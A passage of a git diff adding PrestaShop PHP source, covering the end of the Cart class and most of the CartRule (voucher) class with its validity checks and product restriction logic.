Db::getInstance()->execute($sql); + + // Upgrading address delivery + $sql = 'UPDATE `'._DB_PREFIX_.'cart_product` + SET `id_address_delivery` = + ( + SELECT `id_address_delivery` + FROM `'._DB_PREFIX_.'cart` + WHERE `id_cart` = '.(int)$this->id.' + AND `id_shop` = '.(int)$this->id_shop.' + ) + WHERE `id_cart` = '.(int)$this->id.' + '.(Configuration::get('PS_ALLOW_MULTISHIPPING') ? ' AND `id_shop` = '.(int)$this->id_shop : ''); + + Db::getInstance()->execute($sql); + + $sql = 'UPDATE `'._DB_PREFIX_.'customization` + SET `id_address_delivery` = + ( + SELECT `id_address_delivery` + FROM `'._DB_PREFIX_.'cart` + WHERE `id_cart` = '.(int)$this->id.' + ) + WHERE `id_cart` = '.(int)$this->id; + + Db::getInstance()->execute($sql); + } + + /** + * Set an address to all products on the cart without address delivery + */ + public function autosetProductAddress() + { + $id_address_delivery = 0; + // Get the main address of the customer + if ((int)$this->id_address_delivery > 0) + $id_address_delivery = (int)$this->id_address_delivery; + else + $id_address_delivery = (int)Address::getFirstCustomerAddressId(Context::getContext()->customer->id); + + if (!$id_address_delivery) + return; + + // Update + $sql = 'UPDATE `'._DB_PREFIX_.'cart_product` + SET `id_address_delivery` = '.(int)$id_address_delivery.' + WHERE `id_cart` = '.(int)$this->id.' + AND (`id_address_delivery` = 0 OR `id_address_delivery` IS NULL) + AND `id_shop` = '.(int)$this->id_shop; + Db::getInstance()->execute($sql); + + $sql = 'UPDATE `'._DB_PREFIX_.'customization` + SET `id_address_delivery` = '.(int)$id_address_delivery.' + WHERE `id_cart` = '.(int)$this->id.' + AND (`id_address_delivery` = 0 OR `id_address_delivery` IS NULL)'; + + Db::getInstance()->execute($sql); + } + + public function deleteAssociations() + { + return (Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'cart_product` + WHERE `id_cart` = '.(int)$this->id) !== false); + } + + /** + * isGuestCartByCartId + * + * @param int $id_cart + * @return bool true if cart has been made by a guest customer + */ + public static function isGuestCartByCartId($id_cart) + { + if (!(int)$id_cart) + return false; + return (bool)Db::getInstance()->getValue(' + SELECT `is_guest` + FROM `'._DB_PREFIX_.'customer` cu + LEFT JOIN `'._DB_PREFIX_.'cart` ca ON (ca.`id_customer` = cu.`id_customer`) + WHERE ca.`id_cart` = '.(int)$id_cart); + } + + /** + * isCarrierInRange + * + * Check if the specified carrier is in range + * + * @id_carrier int + * @id_zone int + */ + public function isCarrierInRange($id_carrier, $id_zone) + { + $carrier = new Carrier((int)$id_carrier, Configuration::get('PS_LANG_DEFAULT')); + $shipping_method = $carrier->getShippingMethod(); + if (!$carrier->range_behavior) + return true; + + if ($shipping_method == Carrier::SHIPPING_METHOD_FREE) + return true; + + $check_delivery_price_by_weight = Carrier::checkDeliveryPriceByWeight( + (int)$id_carrier, + $this->getTotalWeight(), + $id_zone + ); + if ($shipping_method == Carrier::SHIPPING_METHOD_WEIGHT && $check_delivery_price_by_weight) + return true; + + $check_delivery_price_by_price = Carrier::checkDeliveryPriceByPrice( + (int)$id_carrier, + $this->getOrderTotal( + true, + Cart::BOTH_WITHOUT_SHIPPING + ), + $id_zone, + (int)$this->id_currency + ); + if ($shipping_method == Carrier::SHIPPING_METHOD_PRICE && $check_delivery_price_by_price) + return true; + + return false; + } + + /** + * @param bool $ignore_virtual Ignore virtual product + * @param bool $exclusive If true, the validation is exclusive : it must be present product in stock and out of stock + * @since 1.5.0 + * + * @return bool false is some products from the cart are out of stock + */ + public function isAllProductsInStock($ignore_virtual = false, $exclusive = false) + { + $product_out_of_stock = 0; + $product_in_stock = 0; + foreach ($this->getProducts() as $product) + { + if (!$exclusive) + { + if ((int)$product['quantity_available'] <= 0 + && (!$ignore_virtual || !$product['is_virtual'])) + return false; + } + else + { + if ((int)$product['quantity_available'] <= 0 + && (!$ignore_virtual || !$product['is_virtual'])) + $product_out_of_stock++; + if ((int)$product['quantity_available'] > 0 + && (!$ignore_virtual || !$product['is_virtual'])) + $product_in_stock++; + + if ($product_in_stock > 0 && $product_out_of_stock > 0) + return false; + } + } + return true; + } + + /** + * + * Execute hook displayCarrierList (extraCarrier) and merge theme to the $array + * @param array $array + */ + public static function addExtraCarriers(&$array) + { + $first = true; + $hook_extracarrier_addr = array(); + foreach (Context::getContext()->cart->getAddressCollection() as $address) + { + $hook = Hook::exec('displayCarrierList', array('address' => $address)); + $hook_extracarrier_addr[$address->id] = $hook; + + if ($first) + { + $array = array_merge( + $array, + array('HOOK_EXTRACARRIER' => $hook) + ); + $first = false; + } + $array = array_merge( + $array, + array('HOOK_EXTRACARRIER_ADDR' => $hook_extracarrier_addr) + ); + } + } + + /** + * Get all the ids of the delivery addresses without carriers + * + * @param bool $return_collection Return a collection + * + * @return array Array of address id or of address object + */ + public function getDeliveryAddressesWithoutCarriers($return_collection = false) + { + $addresses_without_carriers = array(); + foreach ($this->getProducts() as $product) + { + if (!in_array($product['id_address_delivery'], $addresses_without_carriers) + && !count(Carrier::getAvailableCarrierList(new Product($product['id_product']), null, $product['id_address_delivery']))) + $addresses_without_carriers[] = $product['id_address_delivery']; + } + if (!$return_collection) + return $addresses_without_carriers; + else + { + $addresses_instance_without_carriers = array(); + foreach ($addresses_without_carriers as $id_address) + $addresses_instance_without_carriers[] = new Address($id_address); + return $addresses_instance_without_carriers; + } + } +} diff --git a/classes/CartRule.php b/classes/CartRule.php new file mode 100755 index 0000000..4e4e4ff --- /dev/null +++ b/classes/CartRule.php @@ -0,0 +1,1227 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CartRuleCore extends ObjectModel +{ + /* Filters used when retrieving the cart rules applied to a cart of when calculating the value of a reduction */ + const FILTER_ACTION_ALL = 1; + const FILTER_ACTION_SHIPPING = 2; + const FILTER_ACTION_REDUCTION = 3; + const FILTER_ACTION_GIFT = 4; + const FILTER_ACTION_ALL_NOCAP = 5; + + const BO_ORDER_CODE_PREFIX = 'BO_ORDER_'; + + /* This variable controls that a free gift is offered only once, even when multi-shippping is activated and the same product is delivered in both addresses */ + protected static $only_one_gift = array(); + + public $id; + public $name; + public $id_customer; + public $date_from; + public $date_to; + public $description; + public $quantity = 1; + public $quantity_per_user = 1; + public $priority = 1; + public $partial_use = 1; + public $first_order = 0; + public $code; + public $minimum_amount; + public $minimum_amount_tax; + public $minimum_amount_currency; + public $minimum_amount_shipping; + public $country_restriction; + public $carrier_restriction; + public $group_restriction; + public $cart_rule_restriction; + public $product_restriction; + public $shop_restriction; + public $free_shipping; + public $reduction_percent; + public $reduction_amount; + public $reduction_tax; + public $reduction_currency; + public $reduction_product; + public $gift_product; + public $gift_product_attribute; + public $highlight; + public $active = 1; + public $date_add; + public $date_upd; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'cart_rule', + 'primary' => 'id_cart_rule', + 'multilang' => true, + 'fields' => array( + 'id_customer' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'date_from' => array('type' => self::TYPE_DATE, 'validate' => 'isDate', 'required' => true), + 'date_to' => array('type' => self::TYPE_DATE, 'validate' => 'isDate', 'required' => true), + 'description' => array('type' => self::TYPE_STRING, 'validate' => 'isCleanHtml', 'size' => 65534), + 'quantity' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'quantity_per_user' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'priority' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'partial_use' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + + 'first_order' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + + 'code' => array('type' => self::TYPE_STRING, 'validate' => 'isCleanHtml', 'size' => 254), + 'minimum_amount' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat'), + 'minimum_amount_tax' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'minimum_amount_currency' =>array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'minimum_amount_shipping' =>array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'country_restriction' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'carrier_restriction' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'group_restriction' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'cart_rule_restriction' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'product_restriction' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'shop_restriction' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'free_shipping' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'reduction_percent' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPercentage'), + 'reduction_amount' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat'), + 'reduction_tax' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'reduction_currency' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'reduction_product' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'gift_product' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'gift_product_attribute' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'highlight' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 254), + ), + ); + + /** + * @see ObjectModel::add() + */ + public function add($autodate = true, $null_values = false) + { + if (!parent::add($autodate, $null_values)) + return false; + + Configuration::updateGlobalValue('PS_CART_RULE_FEATURE_ACTIVE', '1'); + return true; + } + + public function update($null_values = false) + { + Cache::clean('getContextualValue_'.$this->id.'_*'); + return parent::update($null_values); + } + + /** + * @see ObjectModel::delete() + */ + public function delete() + { + if (!parent::delete()) + return false; + + Configuration::updateGlobalValue('PS_CART_RULE_FEATURE_ACTIVE', CartRule::isCurrentlyUsed($this->def['table'], true)); + + $r = Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'cart_cart_rule` WHERE `id_cart_rule` = '.(int)$this->id); + $r &= Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'cart_rule_carrier` WHERE `id_cart_rule` = '.(int)$this->id); + $r &= Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'cart_rule_shop` WHERE `id_cart_rule` = '.(int)$this->id); + $r &= Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'cart_rule_group` WHERE `id_cart_rule` = '.(int)$this->id); + $r &= Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'cart_rule_country` WHERE `id_cart_rule` = '.(int)$this->id); + $r &= Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'cart_rule_combination` WHERE `id_cart_rule_1` = '.(int)$this->id.' OR `id_cart_rule_2` = '.(int)$this->id); + $r &= Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'cart_rule_product_rule_group` WHERE `id_cart_rule` = '.(int)$this->id); + $r &= Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'cart_rule_product_rule` WHERE `id_product_rule_group` NOT IN (SELECT `id_product_rule_group` FROM `'._DB_PREFIX_.'cart_rule_product_rule_group`)'); + $r &= Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'cart_rule_product_rule_value` WHERE `id_product_rule` NOT IN (SELECT `id_product_rule` FROM `'._DB_PREFIX_.'cart_rule_product_rule`)'); + + return $r; + } + + /** + * Copy conditions from one cart rule to an other + * + * @static + * @param int $id_cart_rule_source + * @param int $id_cart_rule_destination + */ + public static function copyConditions($id_cart_rule_source, $id_cart_rule_destination) + { + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'cart_rule_shop` (`id_cart_rule`, `id_shop`) + (SELECT '.(int)$id_cart_rule_destination.', id_shop FROM `'._DB_PREFIX_.'cart_rule_shop` WHERE `id_cart_rule` = '.(int)$id_cart_rule_source.')'); + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'cart_rule_carrier` (`id_cart_rule`, `id_carrier`) + (SELECT '.(int)$id_cart_rule_destination.', id_carrier FROM `'._DB_PREFIX_.'cart_rule_carrier` WHERE `id_cart_rule` = '.(int)$id_cart_rule_source.')'); + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'cart_rule_group` (`id_cart_rule`, `id_group`) + (SELECT '.(int)$id_cart_rule_destination.', id_group FROM `'._DB_PREFIX_.'cart_rule_group` WHERE `id_cart_rule` = '.(int)$id_cart_rule_source.')'); + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'cart_rule_country` (`id_cart_rule`, `id_country`) + (SELECT '.(int)$id_cart_rule_destination.', id_country FROM `'._DB_PREFIX_.'cart_rule_country` WHERE `id_cart_rule` = '.(int)$id_cart_rule_source.')'); + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'cart_rule_combination` (`id_cart_rule_1`, `id_cart_rule_2`) + (SELECT '.(int)$id_cart_rule_destination.', IF(id_cart_rule_1 != '.(int)$id_cart_rule_source.', id_cart_rule_1, id_cart_rule_2) FROM `'._DB_PREFIX_.'cart_rule_combination` + WHERE `id_cart_rule_1` = '.(int)$id_cart_rule_source.' OR `id_cart_rule_2` = '.(int)$id_cart_rule_source.')'); + + // Todo : should be changed soon, be must be copied too + // Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'cart_rule_product_rule` WHERE `id_cart_rule` = '.(int)$this->id); + // Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'cart_rule_product_rule_value` WHERE `id_product_rule` NOT IN (SELECT `id_product_rule` FROM `'._DB_PREFIX_.'cart_rule_product_rule`)'); + } + + /** + * Retrieves the id associated to the given code + * + * @static + * @param string $code + * @return int|bool + */ + public static function getIdByCode($code) + { + if (!Validate::isCleanHtml($code)) + return false; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue('SELECT `id_cart_rule` FROM `'._DB_PREFIX_.'cart_rule` WHERE `code` = \''.pSQL($code).'\''); + } + + /** + * @static + * @param $id_lang + * @param $id_customer + * @param bool $active + * @param bool $includeGeneric + * @param bool $inStock + * @param Cart|null $cart + * @return array + */ + public static function getCustomerCartRules($id_lang, $id_customer, $active = false, $includeGeneric = true, $inStock = false, Cart $cart = null) + { + if (!CartRule::isFeatureActive()) + return array(); + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'cart_rule` cr + LEFT JOIN `'._DB_PREFIX_.'cart_rule_lang` crl ON (cr.`id_cart_rule` = crl.`id_cart_rule` AND crl.`id_lang` = '.(int)$id_lang.') + WHERE ( + cr.`id_customer` = '.(int)$id_customer.' OR cr.group_restriction = 1 + '.($includeGeneric ? 'OR cr.`id_customer` = 0' : '').' + ) + AND cr.date_from < "'.date('Y-m-d H:i:s').'" + AND cr.date_to > "'.date('Y-m-d H:i:s').'" + '.($active ? 'AND cr.`active` = 1' : '').' + '.($inStock ? 'AND cr.`quantity` > 0' : '')); + + // Remove cart rule that does not match the customer groups + $customerGroups = Customer::getGroupsStatic($id_customer); + foreach ($result as $key => $cart_rule) + if ($cart_rule['group_restriction']) + { + $cartRuleGroups = Db::getInstance()->executeS('SELECT id_group FROM '._DB_PREFIX_.'cart_rule_group WHERE id_cart_rule = '.(int)$cart_rule['id_cart_rule']); + foreach ($cartRuleGroups as $cartRuleGroup) + if (in_array($cartRuleGroup['id_group'], $customerGroups)) + continue 2; + + unset($result[$key]); + } + + foreach ($result as &$cart_rule) + if ($cart_rule['quantity_per_user']) + { + $quantity_used = Order::getDiscountsCustomer((int)$id_customer, (int)$cart_rule['id_cart_rule']); + if (isset($cart) && isset($cart->id)) + $quantity_used += $cart->getDiscountsCustomer((int)$cart_rule['id_cart_rule']); + $cart_rule['quantity_for_user'] = $cart_rule['quantity_per_user'] - $quantity_used; + } + else + $cart_rule['quantity_for_user'] = 0; + + // Retrocompatibility with 1.4 discounts + foreach ($result as &$cart_rule) + { + $cart_rule['value'] = 0; + $cart_rule['minimal'] = $cart_rule['minimum_amount']; + $cart_rule['cumulable'] = !$cart_rule['cart_rule_restriction']; + $cart_rule['id_discount_type'] = false; + if ($cart_rule['free_shipping']) + $cart_rule['id_discount_type'] = Discount::FREE_SHIPPING; + elseif ($cart_rule['reduction_percent'] > 0) + { + $cart_rule['id_discount_type'] = Discount::PERCENT; + $cart_rule['value'] = $cart_rule['reduction_percent']; + } + elseif ($cart_rule['reduction_amount'] > 0) + { + $cart_rule['id_discount_type'] = Discount::AMOUNT; + $cart_rule['value'] = $cart_rule['reduction_amount']; + } + } + + return $result; + } + + /** + * @param $id_customer + * @return bool + */ + public function usedByCustomer($id_customer) + { + return (bool)Db::getInstance()->getValue(' + SELECT id_cart_rule + FROM `'._DB_PREFIX_.'order_cart_rule` ocr + LEFT JOIN `'._DB_PREFIX_.'orders` o ON ocr.`id_order` = o.`id_order` + WHERE ocr.`id_cart_rule` = '.(int)$this->id.' + AND o.`id_customer` = '.(int)$id_customer); + } + + /** + * @static + * @param $name + * @return bool + */ + public static function cartRuleExists($name) + { + if (!CartRule::isFeatureActive()) + return false; + + return (bool)Db::getInstance()->getValue(' + SELECT `id_cart_rule` + FROM `'._DB_PREFIX_.'cart_rule` + WHERE `code` = \''.pSQL($name).'\''); + } + + /** + * @static + * @param $id_customer + * @return bool + */ + public static function deleteByIdCustomer($id_customer) + { + $return = true; + $cart_rules = new Collection('CartRule'); + $cart_rules->where('id_customer', '=', $id_customer); + foreach ($cart_rules as $cart_rule) + $return &= $cart_rule->delete(); + return $return; + } + + /** + * @return array + */ + public function getProductRuleGroups() + { + if (!Validate::isLoadedObject($this) || $this->product_restriction == 0) + return array(); + + $productRuleGroups = array(); + $results = Db::getInstance()->executeS(' + SELECT * + FROM '._DB_PREFIX_.'cart_rule_product_rule_group prg + WHERE prg.id_cart_rule = '.(int)$this->id, false); + foreach ($results as $row) + { + if (!isset($productRuleGroups[$row['id_product_rule_group']])) + $productRuleGroups[$row['id_product_rule_group']] = array('id_product_rule_group' => $row['id_product_rule_group'], 'quantity' => $row['quantity']); + $productRuleGroups[$row['id_product_rule_group']]['product_rules'] = $this->getProductRules($row['id_product_rule_group']); + } + return $productRuleGroups; + } + + /** + * @param $id_product_rule_group + * @return array ('type' => ? , 'values' => ?) + */ + public function getProductRules($id_product_rule_group) + { + if (!Validate::isLoadedObject($this) || $this->product_restriction == 0) + return array(); + + $productRules = array(); + $results = Db::getInstance()->executeS(' + SELECT * + FROM '._DB_PREFIX_.'cart_rule_product_rule pr + LEFT JOIN '._DB_PREFIX_.'cart_rule_product_rule_value prv ON pr.id_product_rule = prv.id_product_rule + WHERE pr.id_product_rule_group = '.(int)$id_product_rule_group); + foreach ($results as $row) + { + if (!isset($productRules[$row['id_product_rule']])) + $productRules[$row['id_product_rule']] = array('type' => $row['type'], 'values' => array()); + $productRules[$row['id_product_rule']]['values'][] = $row['id_item']; + } + return $productRules; + } + + /** + * Check if this cart rule can be applied + * + * @param Context $context + * @param bool $alreadyInCart Check if the voucher is already on the cart + * @param bool $display_error Display error + * @return bool|mixed|string + */ + public function checkValidity(Context $context, $alreadyInCart = false, $display_error = true) + { + if (!CartRule::isFeatureActive()) + return false; + + if (!$this->active) + return (!$display_error) ? false : Tools::displayError('This voucher is disabled'); + if (!$this->quantity) + return (!$display_error) ? false : Tools::displayError('This voucher has already been used'); + if (strtotime($this->date_from) > time()) + return (!$display_error) ? false : Tools::displayError('This voucher is not valid yet'); + if (strtotime($this->date_to) < time()) + return (!$display_error) ? false : Tools::displayError('This voucher has expired'); + + if ($this->first_order && $context->cart->id_customer) { + $orderNumber = Db::getInstance()->getValue(' + SELECT count(*) + FROM '._DB_PREFIX_.'orders o + WHERE o.id_customer = '.$context->cart->id_customer.' + AND '. (int)Configuration::get('PS_OS_ERROR').' != ( + SELECT oh.id_order_state + FROM '._DB_PREFIX_.'order_history oh + WHERE oh.id_order = o.id_order + ORDER BY oh.date_add DESC + LIMIT 1 + )'); + + if ($orderNumber > 0) { + return (!$display_error) ? false : Tools::displayError('This voucher is for your first order.'); + } + } + + if ($context->cart->id_customer) + { + $quantityUsed = Db::getInstance()->getValue(' + SELECT count(*) + FROM '._DB_PREFIX_.'orders o + LEFT JOIN '._DB_PREFIX_.'order_cart_rule od ON o.id_order = od.id_order + WHERE o.id_customer = '.$context->cart->id_customer.' + AND od.id_cart_rule = '.(int)$this->id.' + AND '.(int)Configuration::get('PS_OS_ERROR').' != ( + SELECT oh.id_order_state + FROM '._DB_PREFIX_.'order_history oh + WHERE oh.id_order = o.id_order + ORDER BY oh.date_add DESC + LIMIT 1 + )'); + if ($quantityUsed + 1 > $this->quantity_per_user) + return (!$display_error) ? false : Tools::displayError('You cannot use this voucher anymore (usage limit reached)'); + } + + // Get an intersection of the customer groups and the cart rule groups (if the customer is not logged in, the default group is 1) + if ($this->group_restriction) + { + $id_cart_rule = (int)Db::getInstance()->getValue(' + SELECT crg.id_cart_rule + FROM '._DB_PREFIX_.'cart_rule_group crg + WHERE crg.id_cart_rule = '.(int)$this->id.' + AND crg.id_group '.($context->cart->id_customer ? 'IN (SELECT cg.id_group FROM '._DB_PREFIX_.'customer_group cg WHERE cg.id_customer = '.(int)$context->cart->id_customer.')' : '= 1')); + if (!$id_cart_rule) + return (!$display_error) ? false : Tools::displayError('You cannot use this voucher'); + } + + // Check if the customer delivery address is usable with the cart rule + if ($this->country_restriction) + { + if (!$context->cart->id_address_delivery) + return (!$display_error) ? false : Tools::displayError('You must choose a delivery address before applying this voucher to your order'); + $id_cart_rule = (int)Db::getInstance()->getValue(' + SELECT crc.id_cart_rule + FROM '._DB_PREFIX_.'cart_rule_country crc + WHERE crc.id_cart_rule = '.(int)$this->id.' + AND crc.id_country = (SELECT a.id_country FROM '._DB_PREFIX_.'address a WHERE a.id_address = '.(int)$context->cart->id_address_delivery.' LIMIT 1)'); + if (!$id_cart_rule) + return (!$display_error) ? false : Tools::displayError('You cannot use this voucher in your country of delivery'); + } + + // Check if the carrier chosen by the customer is usable with the cart rule + if ($this->carrier_restriction) + { + if (!$context->cart->id_carrier) + return (!$display_error) ? false : Tools::displayError('You must choose a carrier before applying this voucher to your order'); + $id_cart_rule = (int)Db::getInstance()->getValue(' + SELECT crc.id_cart_rule + FROM '._DB_PREFIX_.'cart_rule_carrier crc + INNER JOIN '._DB_PREFIX_.'carrier c ON (c.id_reference = crc.id_carrier AND c.deleted = 0) + WHERE crc.id_cart_rule = '.(int)$this->id.' + AND c.id_carrier = '.(int)$context->cart->id_carrier); + if (!$id_cart_rule) + return (!$display_error) ? false : Tools::displayError('You cannot use this voucher with this carrier'); + } + + // Check if the cart rules appliy to the shop browsed by the customer + if ($this->shop_restriction && $context->shop->id && Shop::isFeatureActive()) + { + $id_cart_rule = (int)Db::getInstance()->getValue(' + SELECT crs.id_cart_rule + FROM '._DB_PREFIX_.'cart_rule_shop crs + WHERE crs.id_cart_rule = '.(int)$this->id.' + AND crs.id_shop = '.(int)$context->shop->id); + if (!$id_cart_rule) + return (!$display_error) ? false : Tools::displayError('You cannot use this voucher'); + } + + // Check if the products chosen by the customer are usable with the cart rule + if ($this->product_restriction) + { + $r = $this->checkProductRestrictions($context, false, $display_error); + if ($r !== false && $display_error) + return $r; + elseif (!$r && !$display_error) + return false; + } + + // Check if the cart rule is only usable by a specific customer, and if the current customer is the right one + if ($this->id_customer && $context->cart->id_customer != $this->id_customer) + { + if (!Context::getContext()->customer->isLogged()) + return (!$display_error) ? false : (Tools::displayError('You cannot use this voucher').' - '.Tools::displayError('Please log in')); + return (!$display_error) ? false : Tools::displayError('You cannot use this voucher'); + } + + if ($this->minimum_amount) + { + // Minimum amount is converted to the default currency + $minimum_amount = $this->minimum_amount; + if ($this->minimum_amount_currency != Configuration::get('PS_CURRENCY_DEFAULT')) + { + $minimum_amount_currency = new Currency($this->minimum_amount_currency); + if ($this->minimum_amount == 0 || $minimum_amount_currency->conversion_rate == 0) + $minimum_amount = 0; + else + $minimum_amount = $this->minimum_amount / $minimum_amount_currency->conversion_rate; + } + + $cartTotal = $context->cart->getOrderTotal($this->minimum_amount_tax, Cart::ONLY_PRODUCTS); + if ($this->minimum_amount_shipping) + $cartTotal += $context->cart->getOrderTotal($this->minimum_amount_tax, Cart::ONLY_SHIPPING); + + // If a product is given for free in this rule and already in the cart, the price is subtracted + if ($this->gift_product && $alreadyInCart) + { + $query = new DbQuery(); + + $query->select('id_product'); + $query->from('cart_product'); + $query->where('id_product = '.(int)$this->gift_product); + $query->where('id_cart = '.(int)$context->cart->id); + + if ((int)$this->gift_product_attribute) + $query->where('id_product_attribute = '.(int)$this->gift_product_attribute); + + if (Db::getInstance()->getValue($query)) + { + $ref = false; + $product_price = Product::getPriceStatic( + $this->gift_product, + $this->minimum_amount_tax, + $this->gift_product_attribute, + null, null, false, true, 1, null, + $context->cart->id_customer ? $context->cart->id_customer : null, + $context->cart->id, + (int)$context->cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')} ? (int)$context->cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')} : null, + $ref, true, true, $context, true + ); + $cartTotal -= $product_price; + } + } + + if ($cartTotal < $minimum_amount) + return (!$display_error) ? false : Tools::displayError('You have not reached the minimum amount required to use this voucher'); + } + + // Check if the voucher is already in the cart of if a non compatible voucher is in the cart + // Important note: this MUST be the last check, because if the tested cart rule has priority over a non combinable one in the cart, we will switch them + $otherCartRules = $context->cart->getCartRules(); + if (count($otherCartRules)) + foreach ($otherCartRules as $otherCartRule) + { + if ($otherCartRule['id_cart_rule'] == $this->id && !$alreadyInCart) + return (!$display_error) ? false : Tools::displayError('This voucher is already in your cart'); + if ($this->cart_rule_restriction && $otherCartRule['cart_rule_restriction'] && $otherCartRule['id_cart_rule'] != $this->id) + { + $combinable = Db::getInstance()->getValue(' + SELECT id_cart_rule_1 + FROM '._DB_PREFIX_.'cart_rule_combination + WHERE (id_cart_rule_1 = '.(int)$this->id.' AND id_cart_rule_2 = '.(int)$otherCartRule['id_cart_rule'].') + OR (id_cart_rule_2 = '.(int)$this->id.' AND id_cart_rule_1 = '.(int)$otherCartRule['id_cart_rule'].')'); + if (!$combinable) + { + $cart_rule = new CartRule((int)$otherCartRule['id_cart_rule'], $context->cart->id_lang); + // The cart rules are not combinable and the cart rule currently in the cart has priority over the one tested + if ($cart_rule->priority <= $this->priority) + return (!$display_error) ? false : Tools::displayError('This voucher is not combinable with an other voucher already in your cart:').' '.$cart_rule->name; + // But if the cart rule that is tested has priority over the one in the cart, we remove the one in the cart and keep this new one + else + $context->cart->removeCartRule($cart_rule->id); + } + } + } + + if (!$display_error) + return true; + } + + protected function checkProductRestrictions(Context $context, $return_products = false, $display_error = true) + { + $selectedProducts = array(); + + // Check if the products chosen by the customer are usable with the cart rule + if ($this->product_restriction) + { + $productRuleGroups = $this->getProductRuleGroups(); + foreach ($productRuleGroups as $id_product_rule_group => $productRuleGroup) + { + $eligibleProductsList = array(); + foreach ($context->cart->getProducts() as $product) + $eligibleProductsList[] = (int)$product['id_product'].'-'.(int)$product['id_product_attribute']; + if (!count($eligibleProductsList)) + return (!$display_error) ? false : Tools::displayError('You cannot use this voucher in an empty cart'); + + $productRules = $this->getProductRules($id_product_rule_group); + foreach ($productRules as $productRule) + { + switch ($productRule['type']) + { + case 'attributes': + $cartAttributes = Db::getInstance()->executeS(' + SELECT cp.quantity, cp.`id_product`, pac.`id_attribute`, cp.`id_product_attribute` + FROM `'._DB_PREFIX_.'cart_product` cp + LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac ON cp.id_product_attribute = pac.id_product_attribute + WHERE cp.`id_cart` = '.(int)$context->cart->id.' + AND cp.`id_product` IN ('.implode(array_map('intval', $eligibleProductsList), ',').') + AND cp.id_product_attribute > 0'); + $countMatchingProducts = 0; + $matchingProductsList = array(); + foreach ($cartAttributes as $cartAttribute) + if (in_array($cartAttribute['id_attribute'], $productRule['values'])) + { + $countMatchingProducts += $cartAttribute['quantity']; + $matchingProductsList[] = $cartAttribute['id_product'].'-'.$cartAttribute['id_product_attribute']; + } + if ($countMatchingProducts < $productRuleGroup['quantity']) + return (!$display_error) ? false : Tools::displayError('You cannot use this voucher with these products'); + $eligibleProductsList = CartRule::array_uintersect($eligibleProductsList, $matchingProductsList); + break; + case 'products': + $cartProducts = Db::getInstance()->executeS(' + SELECT cp.quantity, cp.`id_product` + FROM `'._DB_PREFIX_.'cart_product` cp + WHERE cp.`id_cart` = '.(int)$context->cart->id.' + AND cp.`id_product` IN ('.implode(array_map('intval', $eligibleProductsList), ',').')'); + $countMatchingProducts = 0; + $matchingProductsList = array(); + foreach ($cartProducts as $cartProduct) + if (in_array($cartProduct['id_product'], $productRule['values'])) + { + $countMatchingProducts += $cartProduct['quantity']; + $matchingProductsList[] = $cartProduct['id_product'].'-0'; + } + if ($countMatchingProducts < $productRuleGroup['quantity']) + return (!$display_error) ? false : Tools::displayError('You cannot use this voucher with these products'); + $eligibleProductsList = CartRule::array_uintersect($eligibleProductsList, $matchingProductsList); + break; + case 'categories': + $cartCategories = Db::getInstance()->executeS(' + SELECT cp.quantity, cp.`id_product`, cp.`id_product_attribute`, catp.`id_category` + FROM `'._DB_PREFIX_.'cart_product` cp + LEFT JOIN 